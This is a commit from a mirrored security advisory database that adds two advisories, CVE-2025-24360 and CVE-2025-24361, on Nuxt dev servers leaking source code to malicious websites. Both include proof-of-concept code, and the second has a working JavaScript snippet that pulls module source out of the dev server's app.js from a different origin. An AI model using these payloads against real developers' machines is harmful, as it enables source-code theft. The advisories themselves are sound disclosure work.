mirror of
https://github.com/netbirdio/advisory-database.git
synced 2026-05-22 18:04:22 -07:00
Publish Advisories
GHSA-2452-6xj8-jh47 GHSA-4gf7-ff8x-hq99
This commit is contained in:
advisory-database[bot]
@@ -0,0 +1,81 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-2452-6xj8-jh47",
|
||||
"modified": "2025-01-27T11:31:15Z",
|
||||
"published": "2025-01-27T11:31:14Z",
|
||||
"aliases": [
|
||||
"CVE-2025-24360"
|
||||
],
|
||||
"summary": "Opening a malicious website while running a Nuxt dev server could allow read-only access to code",
|
||||
"details": "### Summary\nNuxt allows any websites to send any requests to the development server and read the response due to default CORS settings.\n\n### Details\nWhile Vite patched the default CORS settings to fix https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6, nuxt uses its own CORS handler by default (https://github.com/nuxt/nuxt/pull/23995).\n\nhttps://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/client.ts#L257-L263\n\nThat CORS handler sets `Access-Control-Allow-Origin: *`.\n\n> [!IMPORTANT] \n> If on an affected version, it may be possible to opt-out of the default Nuxt CORS handler by configuring `vite.server.cors`.\n\n### PoC\n1. Start a dev server in any nuxt project using Vite by `nuxt dev`.\n2. Send a fetch request to `http://localhost:3000/_nuxt/app.vue` (`fetch('http://localhost:3000/_nuxt/app.vue')`) from a different origin page.\n\n### Impact\nUsers with the default server.cors option using Vite builder may get the source code stolen by malicious websites\n\n### Additional Information\n`/__nuxt_vite_node__/manifest` / `/__nuxt_vite_node__/module` also seems to have `Access-Control-Allow-Origin: *`, so it maybe also possible to exploit that handler.\nhttps://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/vite-node.ts#L39\nAlthough I didn't find a valid module id.\nNote that this handler is probably also vulnerable to DNS rebinding attacks as I didn't find any host header checks.",
|
||||
"severity": [
|
||||
{
|
||||
"type": "CVSS_V3",
|
||||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
|
||||
}
|
||||
],
|
||||
"affected": [
|
||||
{
|
||||
"package": {
|
||||
"ecosystem": "npm",
|
||||
"name": "@nuxt/vite-builder"
|
||||
},
|
||||
"ranges": [
|
||||
{
|
||||
"type": "ECOSYSTEM",
|
||||
"events": [
|
||||
{
|
||||
"introduced": "3.8.1"
|
||||
},
|
||||
{
|
||||
"fixed": "3.15.3"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"references": [
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-2452-6xj8-jh47"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6"
|
||||
},
|
||||
{
|
||||
"type": "ADVISORY",
|
||||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24360"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/pull/23995"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
|
||||
},
|
||||
{
|
||||
"type": "PACKAGE",
|
||||
"url": "https://github.com/nuxt/nuxt"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/client.ts#L257-L263"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/vite-node.ts#L39"
|
||||
}
|
||||
],
|
||||
"database_specific": {
|
||||
"cwe_ids": [
|
||||
"CWE-200"
|
||||
],
|
||||
"severity": "MODERATE",
|
||||
"github_reviewed": true,
|
||||
"github_reviewed_at": "2025-01-27T11:31:14Z",
|
||||
"nvd_published_at": "2025-01-25T01:15:24Z"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
{
|
||||
"schema_version": "1.4.0",
|
||||
"id": "GHSA-4gf7-ff8x-hq99",
|
||||
"modified": "2025-01-27T11:31:42Z",
|
||||
"published": "2025-01-27T11:31:41Z",
|
||||
"aliases": [
|
||||
"CVE-2025-24361"
|
||||
],
|
||||
"summary": "Opening a malicious website while running a Nuxt dev server could allow read-only access to code",
|
||||
"details": "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src=\"http://localhost:3000/_nuxt/app.js\">` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement('script')\nscript.src = 'http://localhost:3000/_nuxt/app.js'\nscript.addEventListener('load', () => {\n for (const page in window.webpackChunknuxt_app) {\n const moduleList = window.webpackChunknuxt_app[page][1]\n console.log(moduleList)\n\n for (const key in moduleList) {\n const p = document.createElement('p')\n const title = document.createElement('strong')\n title.textContent = key\n const code = document.createElement('code')\n code.textContent = moduleList[key].toString()\n p.append(title, ':', document.createElement('br'), code)\n document.body.appendChild(p)\n }\n }\n})\ndocument.head.appendChild(script)\n```\n\n\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n",
|
||||
"severity": [
|
||||
{
|
||||
"type": "CVSS_V3",
|
||||
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"
|
||||
}
|
||||
],
|
||||
"affected": [
|
||||
{
|
||||
"package": {
|
||||
"ecosystem": "npm",
|
||||
"name": "@nuxt/webpack-builder"
|
||||
},
|
||||
"ranges": [
|
||||
{
|
||||
"type": "ECOSYSTEM",
|
||||
"events": [
|
||||
{
|
||||
"introduced": "3.0.0"
|
||||
},
|
||||
{
|
||||
"fixed": "3.15.3"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"package": {
|
||||
"ecosystem": "npm",
|
||||
"name": "@nuxt/rspack-builder"
|
||||
},
|
||||
"ranges": [
|
||||
{
|
||||
"type": "ECOSYSTEM",
|
||||
"events": [
|
||||
{
|
||||
"introduced": "3.12.2"
|
||||
},
|
||||
{
|
||||
"fixed": "3.15.3"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"references": [
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
|
||||
},
|
||||
{
|
||||
"type": "ADVISORY",
|
||||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24361"
|
||||
},
|
||||
{
|
||||
"type": "WEB",
|
||||
"url": "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
|
||||
},
|
||||
{
|
||||
"type": "PACKAGE",
|
||||
"url": "https://github.com/nuxt/nuxt"
|
||||
}
|
||||
],
|
||||
"database_specific": {
|
||||
"cwe_ids": [
|
||||
"CWE-749"
|
||||
],
|
||||
"severity": "MODERATE",
|
||||
"github_reviewed": true,
|
||||
"github_reviewed_at": "2025-01-27T11:31:41Z",
|
||||
"nvd_published_at": "2025-01-25T01:15:24Z"
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user